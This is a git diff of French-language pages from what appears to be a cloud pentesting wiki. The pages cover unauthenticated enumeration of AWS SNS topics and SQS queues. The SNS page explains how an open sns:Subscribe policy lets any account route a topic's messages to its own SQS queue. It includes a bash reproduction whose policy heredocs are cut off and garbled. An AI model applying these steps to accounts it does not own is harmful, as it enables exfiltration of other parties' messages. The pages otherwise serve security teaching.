- -Donc, si vous **trouvez l'ARN des sujets** à l'intérieur du compte (ou en forçant des noms potentiels pour les sujets), vous pouvez **vérifier** si vous pouvez **publier** ou **vous abonner** à **eux**. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md new file mode 100644 index 000000000..1ef6c853b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md @@ -0,0 +1,55 @@ +# AWS - SNS Énumération non authentifiée + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Pour plus d'informations sur SNS, consultez : + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Ouvert à tous + +Lors de la configuration d'un SNS topic depuis la console web, il est possible d'indiquer que **Tout le monde peut publier et s'abonner** au topic : + +
+ +Ainsi, si vous **trouvez l'ARN des topics** dans le compte (ou en brute forcing des noms potentiels de topics), vous pouvez **vérifier** si vous pouvez **publier** ou **vous abonner** à **ceux-ci**. + +Cela équivaut à une politique de ressource SNS topic autorisant `sns:Subscribe` pour `*` (ou pour des comptes externes) : tout principal peut créer une subscription qui livre tous les messages futurs du topic vers une SQS queue qu'il possède. Lorsque le propriétaire de la queue initie la subscription, aucune confirmation humaine n'est requise pour les endpoints SQS. + +
+Reproduction (us-east-1) +```bash +REGION=us-east-1 +# Victim account (topic owner) +VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text) + +# Open the topic to anyone subscribing +cat > /tmp/topic-policy.json < /tmp/sqs-policy.json < + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md deleted file mode 100644 index 4d77cf612..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - SQS Enum non authentifié - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Pour plus d'informations sur SQS, consultez : - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### Modèle d'URL public -``` -https://sqs.[region].amazonaws.com/[account-id]/{user_provided} -``` -### Vérifier les autorisations - -Il est possible de mal configurer une politique de file d'attente SQS et d'accorder des autorisations à tout le monde dans AWS pour envoyer et recevoir des messages, donc si vous obtenez l'ARN des files d'attente, essayez de voir si vous pouvez y accéder. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md new file mode 100644 index 000000000..18d47dff3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md @@ -0,0 +1,21 @@ +# AWS - SQS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Pour plus d'informations sur SQS, consultez : + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### Modèle d'URL publique +``` +https://sqs.[region].amazonaws.com/[account-id]/{user_provided} +``` +### Vérifier les autorisations + +Il est possible de mal configurer une SQS queue policy et d'accorder des autorisations à tout le monde dans AWS pour envoyer et recevoir des messages. Donc, si vous obtenez l'ARN des queues, essayez d'y accéder. + +{{#include ../../../../banners/hacktricks-training.md}}